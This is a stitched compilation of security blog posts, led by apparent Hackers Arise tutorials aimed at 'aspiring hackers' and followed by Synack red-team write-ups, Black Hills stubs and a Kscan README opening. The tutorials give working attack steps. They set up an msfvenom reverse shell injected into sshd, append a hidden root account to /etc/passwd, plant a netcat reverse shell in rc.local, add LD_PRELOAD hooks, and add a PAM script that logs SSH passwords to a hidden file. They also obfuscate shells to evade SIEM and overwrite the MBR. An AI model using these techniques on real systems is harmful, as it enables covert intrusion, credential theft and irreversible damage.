Welcome back, aspiring hackers!

In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.

We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.

By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.

In-Memory

An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.

In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 

exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.

StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.

With pgrep you list processes to inject your payload into

target#> pgrep -x sshd

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.

Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.

Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.

While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.

Configs

Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.

One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.

The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.

Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.

After that restart the SSH service

target# > service sshd restart

Pros:  Survives reboots, and does not require running any malicious executable.

Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.

This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.

LD_PRELOAD

Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.

First we create a meter.c file which will later be compiled into meter.so

target# > nano meter.c

Then the payload is compiled with the following command:

c2 > gcc -fPIC -shared -o meter.so meter.c

Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.

target#> echo /path/to/meter.so >> /etc/ld.so.preload

Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically

target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc

target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.

Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.

rc.local

Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.

target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local

This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.

Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.

Pros: Survives reboots and is simple to implement.

Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.

While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.

Gsocket

Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.

We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.

Here is how you install it on the target:

target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

Next, install it on your C2 and access it with the secret key

c2 > sudo apt install gsocket

c2 > gs-netcat -s “secret key” -i

More information can be found here:

https://www.gsocket.io/deploy

Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.

Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.

Summary

In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.

Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.

Hello aspiring cyberwarriors! 

In modern intrusion scenarios, being inside the system is often not the hardest part. The real challenge begins once you need to stay there without being noticed. Blue teams in well-defended environments rely on continuous monitoring, heavy logging, and SIEM tools such as Splunk or Elastic to track activity. They know what normal user behavior looks like, and they build alerts around suspicious deviations. A compromised workstation that suddenly starts running recon commands immediately raises red flags. At that point, the defender does not need to guess. The investigation begins, and you risk being locked out before making any progress.

For this reason, hackers must rely on obfuscation. Although it does not make commands invisible, it helps you make them much harder to recognize. By transforming payloads and commands into strange, broken-looking forms, you can slip through detection systems that depend on simple pattern matching. In this article we will look at three tools that bring obfuscation to PowerShell: psobf, a Golang-based obfuscator; Argfuscator, which focuses on disguising Windows command arguments; and PowerShell Script Obfuscator by I-Am-Jakoby, which relies on encoding and multi-layered transformations. Together, these tools give you flexible ways to conceal actions and extend dwell time in hostile environments.

Psobf

Repo:

https://github.com/TaurusOmar/psobf

Psobf, short for PowerShell Obfuscator, is a Golang-based project released in the summer of 2024 and under active development. The tool requires Go 1.25.0 or newer on Linux. Once installed, it makes obfuscating PowerShell payloads fast and customizable.

Installing Go

bash$ > wget https://go.dev/dl/go1.25.0.linux-amd64.tar.gz  

bash$ > rm -rf /usr/local/go && tar -C /usr/local -xzf go1.25.0.linux-amd64.tar.gz  

bash$ > echo "export PATH=$PATH:/usr/local/go/bin" >> /etc/profile  

bash$ >  source /etc/profile  

Installing psobf

Now we are ready to install the tool. Based on their GitHub page, the installation is plain and simple:

bash$ > go install github.com/TaurusOmar/psobf/cmd/psobf@latest

Then append this line to /etc/profile:

export PATH=$PATH:/root/go/bin

Obfuscating a Reverse Shell

With psobf installed, we can generate and obfuscate a reverse shell, for instance one taken from revshells.com. Obfuscation is as simple as choosing an input script, an output file, and a level of transformation:

bash$ > psobf -i revshell.ps1 -o obf.ps1 -level 5

Once moved to the target and executed, the obfuscated shell works as expected, giving us a stealthier connection while hiding the command’s real nature.

Argfuscator

Argfuscator is designed to help evade static filters that defenders apply to common commands. Security teams often set alerts around specific keywords and arguments. For example, they may detect whoami, net user, or netstat -ano. Running such commands directly can immediately give you away.

Argfuscator transforms these commands into broken-looking but still functional versions. The tool uses a mix of random case changes, quotation tricks, regex replacements, shorthand expansions, and other substitutions. Out of the box, it supports obfuscation of 68 Windows commands, which is sufficient for most basic recon and persistence tasks.

The resulting output may look unreadable, but that is the point.

SIEM filters are less effective, and the commands execute successfully despite their appearance. Argfuscator is especially useful for day-to-day stealth during a long intrusion.

PowerShell Script Obfuscator

The PowerShell Script Obfuscator by I-Am-Jakoby provides a broader set of transformations. Rather than focusing on arguments, it targets entire scripts. The tool can obfuscate PowerShell code through Base64, Hex, ASCII encoding, URL encoding, binary representations, or even string reversal. By layering these methods, scripts become unreadable to humans and resistant to simple inspection by defenders.

For example, a reverse shell can be wrapped in Base64 and executed with the -e flag:

PS > powershell -e "..."

With Netcat listening, the obfuscated payload delivers the connection as expected.

The real advantage comes from stacking methods. A script that passes through binary encoding, then string reversal, and finally Base64 will look entirely random until decoded step by step. Even if defenders capture the obfuscated script, the time required to peel back multiple layers creates breathing room for the hacker. This extra time can mean the difference between completing objectives and being cut off mid-operation.

Summary

Evading detection is tricky. In tightly watched environments, blunt actions like running plain recon commands, dropping unaltered scripts are immediate invitations for investigation. The point of obfuscation is about making your activity harder to recognize at a glance, forcing automated systems to miss patterns and making human analysts spend time untangling noise. This gives you time to complete tasks before defenders have a clear picture.

We covered tools that give you different ways to add that friction without changing the underlying behavior of your code. One hides the shape of PowerShell payloads, another mangles command arguments so simple keyword rules fail, and a third layers encodings so a script looks meaningless until decoded. Used together, they don’t guarantee success, but they raise the bar for both detection systems and the people who must investigate what they find.

The post PowerShell for Hackers: Evading Detection first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Landing on a Linux machine after exploitation or with freshly harvested credentials often feels like a victory, but in reality, it is only the beginning of the struggle. Lateral movement in Linux environments is notoriously trickier than in Windows domains. Even if you manage to obtain root on one host, you might quickly hit a wall: you see evidence of users connecting to other systems, but you don’t have their credentials. Without those, further expansion stalls. Techniques such as dumping memory or scraping process data might work in some cases, but SSH processes in particular won’t reveal user credentials so easily. At first glance, it feels like a dead end.

This is where PAM manipulation comes into play. By modifying how the Pluggable Authentication Module handles logins, it becomes possible to quietly capture user credentials whenever they authenticate. This is how you create a systematic way to harvest SSH passwords and reuse them for lateral movement.

Recon with Known Hosts

Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. If those files are accessible, they give a list of destinations without the need for noisy scanning.
For example, inspecting /home/dev3/.ssh/known_hosts might reveal entries such as git. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config:

target# > nano /etc/ssh/sshd_config

PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh:

target# > nano /usr/local/bin/logc.sh

#!/bin/bash

echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log

Make it executable:

target# > chmod 777 /usr/local/bin/logc.sh

Then prepare the hidden log file that will quietly collect captured data:

target# > touch /var/log/.authc.log

This script is simple yet powerful. It captures the username, the plaintext password, the source of the connection, and timestamps each entry.

Patching PAM

With the logging script in place, the next task is to insert it into the PAM authentication chain. PAM configurations vary slightly between distributions, but for SSH specifically, the relevant file is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

To modify SSH authentication only, open /etc/pam.d/sshd and add the following line at the very top:

target# > nano /etc/pam.d/sshd

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh

This ensures that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing. Credentials are silently exfiltrated while legitimate users remain unaware.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service:

target# > service sshd restart

Once restarted, test the patch by logging in with valid credentials.

Afterwards, check the log file:

target# > cat /var/log/.authc.log

Each entry should display the captured user, the password they entered, the remote host they connected from, and the date of the attempt. Over time, this log will accumulate valuable credentials from legitimate user sessions, giving you a resource for lateral movement.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the Pluggable Authentication Module (PAM). After identifying potential lateral movement targets via known_hosts, SSH is reconfigured to allow password authentication. A custom logging script is created to capture usernames, passwords, and remote sources, and is then integrated into PAM by editing /etc/pam.d/sshd. With the patch in place, every login attempt is silently recorded to a hidden log file. Restarting SSH activates the change, and future connections yield a steady stream of usable credentials. 

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.

Welcome back cyberwarriors!

In this part of the series, we are looking at how PowerShell can be used to cause large-scale disruption, from slowing systems to completely knocking them offline. These techniques range from simple resource exhaustion attacks that overload CPU and memory, to disabling hardware interfaces, wiping license keys, and finally forcing systems into a blue screen or rendering them unbootable.

It must be stressed from the outset that these techniques are highly destructive. They are not tools for casual experimentation. Some of them have been in use during cyber war operations to defend Ukraine against Russia. If misused in the wrong context, however, the results can be catastrophic and irreversible.

We will begin with the basics and gradually move toward the most dangerous techniques.

Overloading RAM

Repo

https://github.com/soupbone89/Scripts/tree/main/Load%20RAM

This script works by aggressively consuming system memory. It repeatedly allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the operating system does not immediately collapse. The machine slows to a crawl, applications stop responding, and the system becomes unusable.

In practice, this type of attack can serve multiple purposes. It can be used as a denial-of-service tactic to lock down a workstation or server, or it can act as a distraction, forcing administrators to focus on degraded performance while other activity takes place unnoticed in the background.

Execution is straightforward:

PS > .\loadram.ps1

Before execution the system may appear stable, but once the script runs memory consumption spikes and responsiveness slows significantly.

Overloading CPU

Repo:

https://github.com/soupbone89/Scripts/tree/main/Load%20CPU

This script applies the same principle to processor cores. It launches high-priority mathematical operations across every CPU thread, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this method can disrupt normal operations or serve as a cover while other malicious tasks are executed.

Run the script like so:

PS > .\loadcpu.ps1

The machine becomes unresponsive, fans spin up, and users quickly realize something is wrong.

Windows License Killer

Repo:

https://github.com/soupbone89/Scripts/tree/main/Windows%20License%20Killer

This script takes a more subtle but equally damaging approach. It clears Windows product keys by wiping out OEM, retail, and volume license entries from the registry. Once executed, the system is effectively stripped of activation data. After restarting the Software Protection Service, Windows appears unlicensed and may refuse to validate against Microsoft servers.

Execution:

PS > .\license.ps1

You can attempt to check the product key afterward with:

PS > (Get-WmiObject -query 'select  from SoftwareLicensingService').OA3xOriginalProductKey

The result will be empty, confirming the license data is gone.

USB and Network Killer

Repo:

https://github.com/soupbone89/Scripts/tree/main/USB%20and%20Network%20Killer

This script disables both network adapters and USB controllers, cutting a machine off from connectivity and removable storage entirely. Once triggered, there is no way to transfer files, connect to the network, or even plug in a recovery device without significant manual intervention.

Administrators might deploy this in a crisis to instantly isolate a machine during incident response, but in the wrong hands it is a sabotage tool that leaves the user effectively locked out.

Run it as follows:

PS > .\killer.ps1

Mayhem by PowerSploit

Repo:

https://github.com/PowerShellMafia/PowerSploit/tree/master/Mayhem

The PowerSploit framework includes a dedicated module called Mayhem, containing two of the most destructive PowerShell functions available: Set-CriticalProcess and Set-MasterBootRecord. Both go far beyond simple resource exhaustion, directly attacking the stability of the operating system itself.

Set-CriticalProcess

Windows protects certain processes, such as smss.exe and csrss.exe, by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. The Set-CriticalProcess command allows you to tag any process with this critical status. Killing it immediately forces a system crash.

The crash itself does not cause permanent damage. After reboot, Windows resumes normal operation. This makes it useful as a temporary denial tactic forcing downtime, but not wiping the machine.

To use it, first copy the Mayhem module from the repository to:

C:\Program Files\WindowsPowerShell\Modules\

Then run:

PS > Set-CriticalProcess

Confirm with Y, and expect the machine to blue screen in moments.

Set-MasterBootRecord

This is the most destructive of all. Unlike Set-CriticalProcess, which only disrupts a running session, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR contains the bootloader and partition table, and without it Windows cannot load.

Once overwritten, the system may only display a custom message, refusing to boot into the OS. This tactic mirrors the behavior of destructive malware and ransomware wipers, leaving the target machine completely unusable until the bootloader is repaired or reinstalled.

Example execution:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'

To automate a reboot and ensure the payload takes effect immediately:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately

After reboot, the system will no longer load Windows.

Summary

The techniques described in this article show just how far PowerShell can be pushed when used as a weapon. What begins with simple disruption through RAM and CPU exhaustion quickly escalates into far more destructive actions such as disabling hardware, wiping licensing data, and crashing or even bricking systems by targeting their most fundamental components. In a cyber war context, these capabilities are significant because they move beyond espionage or lateral movement and directly affect the ability of an adversary to operate. The destructive potential cannot be overstated: once unleashed, these techniques can ripple across organizations, producing effects that are not easily reversed. That is why understanding them is important not only for those who might employ them, but also for defenders who need to recognize the damage they can cause and prepare accordingly.

The post PowerShell for Hackers: How to Crash and Burn Windows with Powershell first appeared on Hackers Arise.

Popeax is a member of the Synack Red Team.

Often people think security research requires deep knowledge of systems and exploits, and sometimes it does, but in this case all it took was some curiosity and a Google search to find an alarmingly simple exploit using default credentials.

On a recent host engagement, I discovered an unusual login page running on port 8080, a standard but less often used HTTP port. The login page did not resemble anything I had encountered in the thousands of login pages across hundreds of client engagements.

Nothing new. Even for a seasoned member of the Synack Red Team (SRT), it isn’t unusual to discover commercial products that one hasn’t seen before.

The login page clearly showed the product as some type of IBM server. In the URL, I noticed the string “profoundui.” A quick Internet search identified an IBM resource that stated:

“Profound UI is a graphical, browser-based framework that makes it easy to transform existing RPG applications into Web applications, or develop new rich Web and mobile applications that run on the IBM i (previously known as the AS/400, iSeries, System i) platform using RPG, PHP, or Node.js.”

Given these facts, I Googled for “IBM AS/400 default password” and found IBM documentation that listed default AS/400 credentials.

As any elite hacker would do, I copied and pasted all six default usernames and passwords into the login form.

Sure enough the last set of credentials worked with user QSRVBAS and password QSRVBAS.

It was beyond the scope of the engagement to proceed any further to see how much access was possible. The vulnerability was documented in the report that was given to the client to be remediated.

After a few days, the client requested a patch verification of the vulnerability using Synack’s patch verification workflow. This workflow allows a client to request the SRT to verify an implemented patch within the Synack Platform. After receiving the patch verification request, I quickly verified the vulnerability was no longer exploitable.

It is hard to believe, but even today commercial products still ship and are installed with default credentials. Often the onus is on the end user to be aware they must change the credentials and lock the default accounts.

The ingenuity and curiosity of the SRT cannot be replicated by scanners or automated technology. The SRT members are adept at finding this type of vulnerability in custom and commercial applications, even while running in obscure locations, which leads to exploitable vulnerabilities being surfaced to the customer.

The post Exploits Explained: Default Credentials Still a Problem Today appeared first on Synack.

IT and Cybersecurity leaders need the clearest picture of their networks and assets to understand if their organizations are at risk and what to do about it. When it comes to looking ahead at zero day vulnerabilities, it can be helpful for leaders to first look back to understand the collective strengths and weaknesses of the cybersecurity industry and the effects they’ve had on the different risks and threats it’s tasked with analyzing and preventing.

As a helpful tool for 2023 strategic cybersecurity planning, we’re highlighting the most common vulnerability categories found in 2022, across more than 27,000 discovered vulnerabilities by the Synack Red Team. Each of these vulnerabilities have the potential to pose significant threats to large organizations and will continue to be monitored as we move through the year.

Here are the top five vulnerability categories found by Synack in 2022:

#1 Authorization Permission

The most common vulnerability found in 2022 relates to improper authorizations. With authorizations, a user’s right to “access a given resource [is] based on the user’s privileges and any permissions or other access-control specifications that apply to the resource.” In this case, unauthorized users may gain access to resources or initiate unwanted actions that they should not be allowed to perform, potentially leading to data exposures, DoS or arbitrary code execution.

#2 Cross Site Request Forgery

The runner up vulnerability is Cross Site Request Forgery (CSRF), which is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

#3 Information Disclosure

Information Disclosure can occur due to security mistakes which expose sensitive information to an actor that is not explicitly authorized to have access to that information. Information exposures can occur in different ways, resulting from mistakes that occur in behaviors that explicitly manage, store, transfer or cleanse sensitive information. 

#4 SQL Injection

This attack style consists of insertion or injection of a SQL query via the input data from client to application. A successful exploit of this style can read and even modify sensitive data, execute admin functions (including shutting down systems), and in some cases, issue commands to an operating system.

#5 Authentication Session Management

Broken Authentication Session Management vulnerabilities round out the Top 5 found by Synack in 2022. Websites may require users to login using a username and password, MFA or other authentication schemes, which may contain exploitable vulnerabilities. The site will assign and send each logged in visitor a unique session ID that serves as a key to the user’s identity on the server, if the session ID is not properly secured a cybercriminal can impersonate a valid user and access that user’s account.

How to Reduce Your Exposure to a Top 5 Vulnerability

Synack offers an offensive security testing platform allowing enterprise customers to track exploitable vulnerabilities in their environment and to close security gaps before they can be exploited by bad actors. The Synack Platform pairs the Synack Red Team, a community of 1,500 expert and vetted adversarial researchers, with the machine intelligence in our platform. Synack’s security testing missions cover web assets and host assets, as well as mobile, cloud and API security.

If you’re not penetration testing on a continuous basis, you should be. Talk to your Synack rep or your authorized security sales representative to learn more about strategic security testing.

The post Synack’s Top 5 Vulnerabilities Found in 2022 appeared first on Synack.

Nicolas Krassas is a member of the Synack Red Team and has earned distinctions such as SRT Envoy and Guardian of Trust.

Of all the Synack targets, my favorite ones are always host assessments. There, one can find a multitude of services with different configurations, versions and usage. One that always caused me trouble was the Java RMI case, until I decided to spend time reviewing the process step by step.

Throughout the years there were several targets where skilled Synack Red Team (SRT) members were able to successfully exploit vulnerabilities with Remote Code Execution, and this information in many cases was missing from my arsenal. I set a goal to find out how the exploitation was taking place and to be able to better understand the tools and methods to finding and exploiting it.

A few “good to know” items:

What is Java RMI used for?

The Java Remote Method Invocation (RMI) system allows an object running in one Java virtual machine to invoke methods on an object running in another Java virtual machine. RMI provides for remote communication between programs written in the Java programming language.

What is JMX?

Wikipedia describes Java Management Extensions (JMX) as follows, “Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.”

JMX is often described as the “Java version” of SNMP (Simple Network Management Protocol). SNMP is mainly used to monitor network components like network switches or routers. Like SNMP, JMX is also used for monitoring Java-based applications. The most common use case for JMX is monitoring the availability and performance of a Java application server from a central monitoring solution like Nagios, Icinga or Zabbix.

JMX also shares another similarity with SNMP: While most companies only use the monitoring capabilities, JMX is actually much more powerful. JMX allows the user not only to read values from the remote system, it can also be used to invoke methods on the system.

JMX fundamentals: MBeans

JMX allows you to manage resources as managed beans (MBean). An MBean is a Java Bean class that follows certain design rules of the JMX standard. An MBean can represent a device, an application or any resource that needs to be managed over JMX. You can access these MBeans via JMX, query attributes and invoke Bean methods.

The JMX standard differs between various MBean types; however, we will only deal with the standard MBeans here. To be a valid MBean, a Java class must:

• Implement an interface
• Provide a default constructor (without any arguments)
• Follow certain naming conventions, for example implement getter/setter methods to read/write attributes

MBean server

An MBean server is a service that manages the MBeans of a system, which we’ll see demonstrated in an attack later in this post. Developers can register their MBeans in the server following a specific naming pattern. The MBean server will forward incoming messages to the registered MBeans. The service is also responsible for forwarding messages from MBeans to external components.

After we have a JMX service running on RMI, we can go through the various ways such a service might be attacked. Over time, various attack techniques have been discovered that are related to JMX over RMI, and we will step through most of them one by one.

Abusing available MBeans

Applications are able to register additional MBeans, which can then be invoked remotely. JMX is commonly used for managing applications, therefore the MBeans are often very powerful.

A failed start

Starting research on the topic, the first items that one will see are references to rmiscout, an exceptional tool on the time that was created but not maintained anymore for over two years with several issues on deployment. At that time I moved on BaRMie, which surprisingly is even older than rmiscout but easier to work with for basic recon. An alternative tool, under the name mjet, seems to be more updated and somewhat easier to use but still my results were poor. As one can see right away, many times simply taking a tool from the shelves and trying to work with it is not a solution.

Back to school

Simply using the tools without understanding exactly what they do won’t work in the long run and that’s something that I was aware of from the start. But everybody is looking for shortcuts.  Back to reading then, and starting with posts such as this one and this one. I ended up on a relatively recent presentation from Tobias Neitzel, where he also presented his tools, RMG and Beanshooter.

New tools, new methods

With a better understanding and with a pair of excellent tools, the results were the following over the next months. 

On a target with several weeks already being launched, the RMI service was not noticed or exploited at that time. The following steps provided an RCE case.

Identifying:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  enum server_ip 9999

Tonka bean deployment:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka deploy server_ip 9999 –stager-url http://tupoc:8888 –no-stager

On our Tupoc (external Synack collaborator system) 

Waiting for a callback:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar stager xxx.xx.xx.xx 8888 tonka

Verification:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka status server_ip 9999 

Command execution:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka exec server_ip 9999 id

The case was awarded with a full RCE reward.

Not all cases will happen to be straightforward and in rare occasions issues might arise, but with better understanding of the process and the tools, we are always able to achieve better results.

References:
https://www.youtube.com/watch?v=t_aw1mDNhzI (Amazing work by Tobias Neitzel)
https://docs.jboss.org/jbossas/jboss4guide/r5/html/ch2.chapter.html
https://docs.alfresco.com/content-services/7.0/admin/jmx-reference/

Final notes

During the process, a few issues were identified in the tools that were handled swiftly and additionally an issue was created towards Glassfish repo under, https://github.com/eclipse-ee4j/glassfish/issues/24223.

The post Exploits Explained: Java JMX’s Exploitation Problems and Resolutions appeared first on Synack.

Have you ever been on a pentest and thought to yourself, “I wish I had a robot to do this testing for me right now cuz this is just too much work”?

The post How to Build a Pentest Robot With Selenium IDE appeared first on Black Hills Information Security.

Daniel Pizarro // What is the PNPT?  The Practical Network Penetration Tester (PNPT), created by TCM Security (TCMS), is a 5-day ethical hacking certification exam that assesses a pentester’s ability […]

The post PNPT: Certification Review appeared first on Black Hills Information Security.

Joff Thyer // Introduction We have already arrived at the end of 2022; wow, that was fast. As with any industry or aspect of life, we find ourselves peering into […]

The post <strong>Forward into 2023: Browser and O/S Security Features</strong>  appeared first on Black Hills Information Security.

0 Disclaimer (The author did not participate in the XX action, don't trace it)

• This tool is only for legally authorized enterprise security construction behaviors and personal learning behaviors. If you need to test the usability of this tool, please build a target drone environment by yourself.

• When using this tool for testing, you should ensure that the behavior complies with local laws and regulations and has obtained sufficient authorization. Do not scan unauthorized targets.

We reserve the right to pursue your legal responsibility if the above prohibited behavior is found.

If you have any illegal behavior in the process of using this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint responsibility.

Before installing and using this tool, please be sure to carefully read and fully understand the terms and conditions.

Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this Agreement in any other express or implied manner shall be deemed that you have read and agreed to be bound by this Agreement.

1 Introduction

 _   __
|#| /#/ Lightweight Asset Mapping Tool by: kv2	
|#|/#/   _____  _____     *     _   _
|#.#/   /Edge/ /Forum|   /#\   |#\ |#|
|##|   |#|___  |#|      /###\  |##\|#|
|#.#\   \#####\|#|     /#/_\#\ |#.#.#|
|#|\#\ /\___|#||#|____/#/###\#\|#|\##|
|#| \#\\#####/ \#####/#/     \#\#| \#|

Kscan is an asset mapping tool that can perform port scanning, TCP fingerprinting and banner capture for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute force cracking on scan results, and is the first open source RDP brute force cracking tool on the go platform.

2 Foreword

